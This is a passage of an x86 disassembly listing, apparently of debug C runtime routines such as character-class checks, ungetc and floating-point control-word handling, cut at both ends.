xor eax, eax
mov ax, [edx+ecx*2]
and eax, 2
mov [ebp-4], eax
loc_42A8E5: ; CODE XREF: .data:0042A8CEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A910
push 4
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A925
; ---------------------------------------------------------------------------
loc_42A910: ; CODE XREF: .data:0042A8FBj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 4
mov [ebp-4], eax
loc_42A925: ; CODE XREF: .data:0042A90Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A953
push 80h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A96A
; ---------------------------------------------------------------------------
loc_42A953: ; CODE XREF: .data:0042A93Bj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 80h
mov [ebp-4], eax
loc_42A96A: ; CODE XREF: .data:0042A951j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A980 proc near ; CODE XREF: sub_4236C0+105p
; sub_424B80+24p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A9A0
push 8
mov eax, [ebp+arg_0]
push eax
call sub_41FA40
add esp, 8
mov [ebp+var_4], eax
jmp short loc_42A9B5
; ---------------------------------------------------------------------------
loc_42A9A0: ; CODE XREF: sub_42A980+Bj
mov ecx, [ebp+arg_0]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8
mov [ebp+var_4], eax
loc_42A9B5: ; CODE XREF: sub_42A980+1Ej
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A980 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A9E0
push 10h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A9F5
; ---------------------------------------------------------------------------
loc_42A9E0: ; CODE XREF: .data:0042A9CBj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 10h
mov [ebp-4], eax
loc_42A9F5: ; CODE XREF: .data:0042A9DEj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42AA23
push 107h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42AA3A
; ---------------------------------------------------------------------------
loc_42AA23: ; CODE XREF: .data:0042AA0Bj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_42AA3A: ; CODE XREF: .data:0042AA21j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42AA73
push 157h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42AA8A
; ---------------------------------------------------------------------------
loc_42AA73: ; CODE XREF: .data:0042AA5Bj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 157h
mov [ebp-4], eax
loc_42AA8A: ; CODE XREF: .data:0042AA71j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42AAC3
push 117h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42AADA
; ---------------------------------------------------------------------------
loc_42AAC3: ; CODE XREF: .data:0042AAABj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 117h
mov [ebp-4], eax
loc_42AADA: ; CODE XREF: .data:0042AAC1j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42AB10
push 20h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42AB25
; ---------------------------------------------------------------------------
loc_42AB10: ; CODE XREF: .data:0042AAFBj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 20h
mov [ebp-4], eax
loc_42AB25: ; CODE XREF: .data:0042AB0Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 80h
sbb eax, eax
neg eax
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
and eax, 7Fh
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_447480, 1
jle short loc_42AB75
push 103h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42AB8C
; ---------------------------------------------------------------------------
loc_42AB75: ; CODE XREF: .data:0042AB5Dj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42AB8C: ; CODE XREF: .data:0042AB73j
cmp dword ptr [ebp-4], 0
jnz short loc_42ABA1
cmp dword ptr [ebp+8], 5Fh
jz short loc_42ABA1
mov dword ptr [ebp-8], 0
jmp short loc_42ABA8
; ---------------------------------------------------------------------------
loc_42ABA1: ; CODE XREF: .data:0042AB90j
; .data:0042AB96j
mov dword ptr [ebp-8], 1
loc_42ABA8: ; CODE XREF: .data:0042AB9Fj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
cmp dword_447480, 1
jle short loc_42ABD5
push 107h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42ABEC
; ---------------------------------------------------------------------------
loc_42ABD5: ; CODE XREF: .data:0042ABBDj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 107h
mov [ebp-4], eax
loc_42ABEC: ; CODE XREF: .data:0042ABD3j
cmp dword ptr [ebp-4], 0
jnz short loc_42AC01
cmp dword ptr [ebp+8], 5Fh
jz short loc_42AC01
mov dword ptr [ebp-8], 0
jmp short loc_42AC08
; ---------------------------------------------------------------------------
loc_42AC01: ; CODE XREF: .data:0042ABF0j
; .data:0042ABF6j
mov dword ptr [ebp-8], 1
loc_42AC08: ; CODE XREF: .data:0042ABFFj
mov eax, [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42AC10 proc near ; CODE XREF: sub_4236C0+9D7p
; sub_4236C0+A65p ...
cmp cl, 40h
jnb short loc_42AC2A
cmp cl, 20h
jnb short loc_42AC20
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_42AC20: ; CODE XREF: sub_42AC10+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_42AC2A: ; CODE XREF: sub_42AC10+3j
xor eax, eax
xor edx, edx
retn
sub_42AC10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42AC37: ; CODE XREF: .data:0042AC5Fj
cmp dword ptr [ebp+0Ch], 0
jnz short loc_42AC5B
push offset dword_43449C
push 0
push 31h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42AC5B
int 3 ; Trap to Debugger
loc_42AC5B: ; CODE XREF: .data:0042AC3Bj
; .data:0042AC58j
xor eax, eax
test eax, eax
jnz short loc_42AC37
mov ecx, [ebp+0Ch]
push ecx
call sub_41AE20
add esp, 4
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42ACA0
add esp, 8
mov [ebp-4], eax
mov ecx, [ebp+0Ch]
push ecx
call sub_41AE90
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ACA0 proc near ; CODE XREF: sub_424B60+11p
; .data:0042AC75p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_42ACA7: ; CODE XREF: sub_42ACA0+2Fj
cmp [ebp+arg_4], 0
jnz short loc_42ACCB
push offset dword_4344AC
push 0
push 60h
push offset aUngetc_c ; "ungetc.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42ACCB
int 3 ; Trap to Debugger
loc_42ACCB: ; CODE XREF: sub_42ACA0+Bj
; sub_42ACA0+28j
xor eax, eax
test eax, eax
jnz short loc_42ACA7
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_42AD07
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jnz short loc_42AD0F
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_42AD07
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_42AD0F
loc_42AD07: ; CODE XREF: sub_42ACA0+3Bj
; sub_42ACA0+58j
or eax, 0FFFFFFFFh
jmp loc_42ADD7
; ---------------------------------------------------------------------------
loc_42AD0F: ; CODE XREF: sub_42ACA0+48j
; sub_42ACA0+65j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jnz short loc_42AD24
mov eax, [ebp+var_4]
push eax
call sub_429D20
add esp, 4
loc_42AD24: ; CODE XREF: sub_42ACA0+76j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [ecx]
cmp eax, [edx+8]
jnz short loc_42AD4F
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jz short loc_42AD42
or eax, 0FFFFFFFFh
jmp loc_42ADD7
; ---------------------------------------------------------------------------
loc_42AD42: ; CODE XREF: sub_42ACA0+98j
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_42AD4F: ; CODE XREF: sub_42ACA0+8Fj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 40h
test eax, eax
jz short loc_42AD8D
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax], edx
mov ecx, [ebp+var_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
movsx ecx, byte ptr [ebp+arg_0]
cmp eax, ecx
jz short loc_42AD8B
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
or eax, 0FFFFFFFFh
jmp short loc_42ADD7
; ---------------------------------------------------------------------------
loc_42AD8B: ; CODE XREF: sub_42ACA0+D7j
jmp short loc_42ADA4
; ---------------------------------------------------------------------------
loc_42AD8D: ; CODE XREF: sub_42ACA0+BAj
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov eax, [edx]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
loc_42ADA4: ; CODE XREF: sub_42ACA0:loc_42AD8Bj
mov edx, [ebp+var_4]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx+4], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and al, 0EFh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_42ADD7: ; CODE XREF: sub_42ACA0+6Aj
; sub_42ACA0+9Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42ACA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ADE0 proc near ; CODE XREF: sub_425690+5Ap
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_42ADE0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw word ptr [ebp-4]
mov ax, [ebp-4]
push eax
call sub_42B1E0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw word ptr [ebp-4]
fnclex
mov ax, [ebp-4]
push eax
call sub_42B1E0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AE30 proc near ; CODE XREF: sub_42AE80+10p
var_10 = word ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
fstcw [ebp+var_10]
mov ax, [ebp+var_10]
push eax
call sub_42AF00
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
and ecx, [ebp+arg_4]
mov edx, [ebp+arg_4]
not edx
mov eax, [ebp+var_8]
and eax, edx
or ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
push ecx
call sub_42B080
add esp, 4
mov [ebp+var_4], ax
fldcw [ebp+var_4]
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AE30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AE80 proc near ; CODE XREF: sub_425BE0+Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
and eax, 0FFF7FFFFh
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42AE30
add esp, 8
pop ebp
retn
sub_42AE80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call sub_4293E0
mov eax, [eax]
mov [ebp-4], eax
fninit
call sub_425BE0
cmp dword ptr [ebp-4], 0
jz short loc_42AEF1
mov ecx, [ebp-4]
mov edx, [ecx+4]
mov eax, [edx]
and eax, 10008h
test eax, eax
jz short loc_42AEF1
mov ecx, [ebp-4]
mov edx, [ecx+4]
add edx, 1Ch
mov [ebp-8], edx
mov eax, [ebp-8]
mov dword ptr [eax+4], 0
mov ecx, [ebp-8]
mov dword ptr [ecx+8], 0FFFFh
loc_42AEF1: ; CODE XREF: .data:0042AEBEj
; .data:0042AECFj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AF00 proc near ; CODE XREF: sub_42AE30+12p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42AF25
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42AF25: ; CODE XREF: sub_42AF00+1Aj
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42AF3D
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42AF3D: ; CODE XREF: sub_42AF00+33j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42AF56
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42AF56: ; CODE XREF: sub_42AF00+4Bj
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42AF6E
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42AF6E: ; CODE XREF: sub_42AF00+63j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42AF86
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42AF86: ; CODE XREF: sub_42AF00+7Cj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42AFA2
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42AFA2: ; CODE XREF: sub_42AF00+94j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 0C00h
mov [ebp+var_8], eax
cmp [ebp+var_8], 800h
jg short loc_42AFD5
cmp [ebp+var_8], 800h
jz short loc_42AFE8
cmp [ebp+var_8], 0
jz short loc_42AFE0
cmp [ebp+var_8], 400h
jz short loc_42AFF3
jmp short loc_42B007
; ---------------------------------------------------------------------------
loc_42AFD5: ; CODE XREF: sub_42AF00+B9j
cmp [ebp+var_8], 0C00h
jz short loc_42AFFE
jmp short loc_42B007
; ---------------------------------------------------------------------------
loc_42AFE0: ; CODE XREF: sub_42AF00+C8j
mov ecx, [ebp+var_4]
mov [ebp+var_4], ecx
jmp short loc_42B007
; ---------------------------------------------------------------------------
loc_42AFE8: ; CODE XREF: sub_42AF00+C2j
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
jmp short loc_42B007
; ---------------------------------------------------------------------------
loc_42AFF3: ; CODE XREF: sub_42AF00+D1j
mov eax, [ebp+var_4]
or ah, 1
mov [ebp+var_4], eax
jmp short loc_42B007
; ---------------------------------------------------------------------------
loc_42AFFE: ; CODE XREF: sub_42AF00+DCj
mov ecx, [ebp+var_4]
or ch, 3
mov [ebp+var_4], ecx
loc_42B007: ; CODE XREF: sub_42AF00+D3j
; sub_42AF00+DEj ...
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 300h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42B049
cmp [ebp+var_C], 200h
jz short loc_42B03B
cmp [ebp+var_C], 300h
jz short loc_42B033
jmp short loc_42B055
; ---------------------------------------------------------------------------
loc_42B033: ; CODE XREF: sub_42AF00+12Fj
mov eax, [ebp+var_4]
mov [ebp+var_4], eax
jmp short loc_42B055
; ---------------------------------------------------------------------------
loc_42B03B: ; CODE XREF: sub_42AF00+126j
mov ecx, [ebp+var_4]
or ecx, 10000h
mov [ebp+var_4], ecx
jmp short loc_42B055
; ---------------------------------------------------------------------------
loc_42B049: ; CODE XREF: sub_42AF00+11Dj
mov edx, [ebp+var_4]
or edx, 20000h
mov [ebp+var_4], edx
loc_42B055: ; CODE XREF: sub_42AF00+131j
; sub_42AF00+139j ...
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1000h
test eax, eax
jz short loc_42B072
mov ecx, [ebp+var_4]
or ecx, 40000h
mov [ebp+var_4], ecx
loc_42B072: ; CODE XREF: sub_42AF00+164j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42AF00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B080 proc near ; CODE XREF: sub_42AE30+36p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_42B0A1
mov cx, [ebp+var_4]
or cl, 1
mov [ebp+var_4], cx
loc_42B0A1: ; CODE XREF: sub_42B080+14j
mov edx, [ebp+arg_0]
and edx, 8
test edx, edx
jz short loc_42B0B5
mov ax, [ebp+var_4]
or al, 4
mov [ebp+var_4], ax
loc_42B0B5: ; CODE XREF: sub_42B080+29j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_42B0CA
mov dx, [ebp+var_4]
or dl, 8
mov [ebp+var_4], dx
loc_42B0CA: ; CODE XREF: sub_42B080+3Dj
mov eax, [ebp+arg_0]
and eax, 2
test eax, eax
jz short loc_42B0DF
mov cx, [ebp+var_4]
or cl, 10h
mov [ebp+var_4], cx
loc_42B0DF: ; CODE XREF: sub_42B080+52j
mov edx, [ebp+arg_0]
and edx, 1
test edx, edx
jz short loc_42B0F3
mov ax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], ax
loc_42B0F3: ; CODE XREF: sub_42B080+67j
mov ecx, [ebp+arg_0]
and ecx, 80000h
test ecx, ecx
jz short loc_42B10B
mov dx, [ebp+var_4]
or dl, 2
mov [ebp+var_4], dx
loc_42B10B: ; CODE XREF: sub_42B080+7Ej
mov eax, [ebp+arg_0]
and eax, 300h
mov [ebp+var_8], eax
cmp [ebp+var_8], 200h
ja short loc_42B139
cmp [ebp+var_8], 200h
jz short loc_42B14E
cmp [ebp+var_8], 0
jz short loc_42B144
cmp [ebp+var_8], 100h
jz short loc_42B15B
jmp short loc_42B173
; ---------------------------------------------------------------------------
loc_42B139: ; CODE XREF: sub_42B080+9Dj
cmp [ebp+var_8], 300h
jz short loc_42B168
jmp short loc_42B173
; ---------------------------------------------------------------------------
loc_42B144: ; CODE XREF: sub_42B080+ACj
mov cx, [ebp+var_4]
mov [ebp+var_4], cx
jmp short loc_42B173
; ---------------------------------------------------------------------------
loc_42B14E: ; CODE XREF: sub_42B080+A6j
mov dx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], dx
jmp short loc_42B173
; ---------------------------------------------------------------------------
loc_42B15B: ; CODE XREF: sub_42B080+B5j
mov ax, [ebp+var_4]
or ah, 4
mov [ebp+var_4], ax
jmp short loc_42B173
; ---------------------------------------------------------------------------
loc_42B168: ; CODE XREF: sub_42B080+C0j
mov cx, [ebp+var_4]
or ch, 0Ch
mov [ebp+var_4], cx
loc_42B173: ; CODE XREF: sub_42B080+B7j
; sub_42B080+C2j ...
mov edx, [ebp+arg_0]
and edx, 30000h
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jz short loc_42B199
cmp [ebp+var_C], 10000h
jz short loc_42B1A6
cmp [ebp+var_C], 20000h
jz short loc_42B1B3
jmp short loc_42B1BB
; ---------------------------------------------------------------------------
loc_42B199: ; CODE XREF: sub_42B080+103j
mov ax, [ebp+var_4]
or ah, 3
mov [ebp+var_4], ax
jmp short loc_42B1BB
; ---------------------------------------------------------------------------
loc_42B1A6: ; CODE XREF: sub_42B080+10Cj
mov cx, [ebp+var_4]
or ch, 2
mov [ebp+var_4], cx
jmp short loc_42B1BB
; ---------------------------------------------------------------------------
loc_42B1B3: ; CODE XREF: sub_42B080+115j
mov dx, [ebp+var_4]
mov [ebp+var_4], dx
loc_42B1BB: ; CODE XREF: sub_42B080+117j
; sub_42B080+124j ...
mov eax, [ebp+arg_0]
and eax, 40000h
test eax, eax
jz short loc_42B1D2
mov cx, [ebp+var_4]
or ch, 10h
mov [ebp+var_4], cx
loc_42B1D2: ; CODE XREF: sub_42B080+145j
mov ax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42B080 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B1E0 proc near ; CODE XREF: .data:0042AE00p
; .data:0042AE21p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 1
test eax, eax
jz short loc_42B203
mov ecx, [ebp+var_4]
or ecx, 10h
mov [ebp+var_4], ecx
loc_42B203: ; CODE XREF: sub_42B1E0+18j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 4
test edx, edx
jz short loc_42B21B
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_42B21B: ; CODE XREF: sub_42B1E0+31j
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 8
test ecx, ecx
jz short loc_42B234
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
loc_42B234: ; CODE XREF: sub_42B1E0+49j
mov eax, [ebp+arg_0]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jz short loc_42B24C
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
loc_42B24C: ; CODE XREF: sub_42B1E0+61j
mov edx, [ebp+arg_0]
and edx, 0FFFFh
and edx, 20h
test edx, edx
jz short loc_42B264
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
loc_42B264: ; CODE XREF: sub_42B1E0+7Aj
mov ecx, [ebp+arg_0]
and ecx, 0FFFFh
and ecx, 2
test ecx, ecx
jz short loc_42B280
mov edx, [ebp+var_4]
or edx, 80000h
mov [ebp+var_4], edx
loc_42B280: ; CODE XREF: sub_42B1E0+92j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42B1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B290 proc near ; CODE XREF: sub_42B3D0+70p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42B2B4
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42B2B4: ; CODE XREF: sub_42B290+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
and edx, [ebp+var_8]
test edx, edx
jz short loc_42B2DF
xor eax, eax
jmp short loc_42B310
; ---------------------------------------------------------------------------
loc_42B2DF: ; CODE XREF: sub_42B290+49j
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42B2F3
; ---------------------------------------------------------------------------
loc_42B2EA: ; CODE XREF: sub_42B290:loc_42B309j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_42B2F3: ; CODE XREF: sub_42B290+58j
cmp [ebp+var_C], 3
jge short loc_42B30B
mov edx, [ebp+var_C]
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx*4], 0
jz short loc_42B309
xor eax, eax
jmp short loc_42B310
; ---------------------------------------------------------------------------
loc_42B309: ; CODE XREF: sub_42B290+73j
jmp short loc_42B2EA
; ---------------------------------------------------------------------------
loc_42B30B: ; CODE XREF: sub_42B290+67j
mov eax, 1
loc_42B310: ; CODE XREF: sub_42B290+4Dj
; sub_42B290+77j
mov esp, ebp
pop ebp
retn
sub_42B290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42B320 proc near ; CODE XREF: sub_42B3D0+84p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
cdq
and edx, 1Fh
add eax, edx
sar eax, 5
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
and eax, 8000001Fh
jns short loc_42B344
dec eax
or eax, 0FFFFFFE0h
inc eax
loc_42B344: ; CODE XREF: sub_42B320+1Dj
mov ecx, 1Fh
sub ecx, eax
mov [ebp+var_4], ecx
mov edx, 1
mov ecx, [ebp+var_4]
shl edx, cl
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
lea edx, [ecx+eax*4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
push eax
call sub_42E4F0
add esp, 0Ch
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42B392
; ---------------------------------------------------------------------------
loc_42B389: ; CODE XREF: sub_42B320+9Fj
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42B392: ; CODE XREF: sub_42B320+67j
cmp [ebp+var_C], 0
jl short loc_42B3C1
cmp [ebp+var_10], 0
jz short loc_42B3C1
mov eax, [ebp+var_C]
